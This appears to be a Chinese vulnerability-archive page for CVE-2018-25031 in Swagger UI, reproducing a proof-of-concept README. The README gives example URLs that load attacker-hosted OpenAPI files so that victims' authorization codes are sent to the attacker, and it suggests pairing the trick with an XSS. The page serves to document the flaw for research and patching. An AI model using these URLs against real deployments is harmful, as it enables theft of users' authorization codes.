关联漏洞
标题：
Swagger UI 输入验证错误漏洞
(CVE-2018-25031)
描述：Swagger UI是一款支持可视化API资源并能够与之进行交互的开源工具。 Swagger-api Swagger UI 4.1.3之前版本中存在安全漏洞，该漏洞源于软件缺少对于用户提交的URL数据过滤和转义。攻击者可以通过特制的URL数据利用该漏洞进行欺骗攻击并显示远程OpenAPI定义。
描述
A simple POC (CVE-2018-25031
介绍
# CVE-2018-25031 - Swagger UI before 4.1.3
A simple POC (CVE-2018-25031) that tricks the victim into entering the authorization code, which is then sent to the attacker.<br>
You can use it with the XSS Vulnerability https://github.com/VictorNS69/swagger-ui-xss
It is necessary to find the parameter and assign the correct file: for <b>configUrl</b>, the JSON file, and for <b>url</b>, the YAML file.
## Example:
```
https://<URL>/?configUrl=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.json
https://<URL>/?url=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.yaml
```
## Screenshot:
<div style="display: inline_block">
<img align="center" src="https://github.com/geozin/POC-CVE-2018-25031/blob/main/POC-CVE-2018-25031.png?raw=true">
</div>
<br>
When the victim tries to use the API by entering the Authorization Code and clicks <b>Execute</b>, nothing will be displayed to them. However, a request with Authorization Code will be sent to the attacker's URL.
## Ref:
https://nvd.nist.gov/vuln/detail/CVE-2018-25031 <br>
https://github.com/mathis2001/CVE-2018-25031
文件快照
[4.0K] /data/pocs/1acb68871d26cca5bc9011a29fa480ef16700709
├── [ 261] doc.json
├── [ 769] doc.yaml
├── [ 31K] POC-CVE-2018-25031.png
└── [1.1K] README.md
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。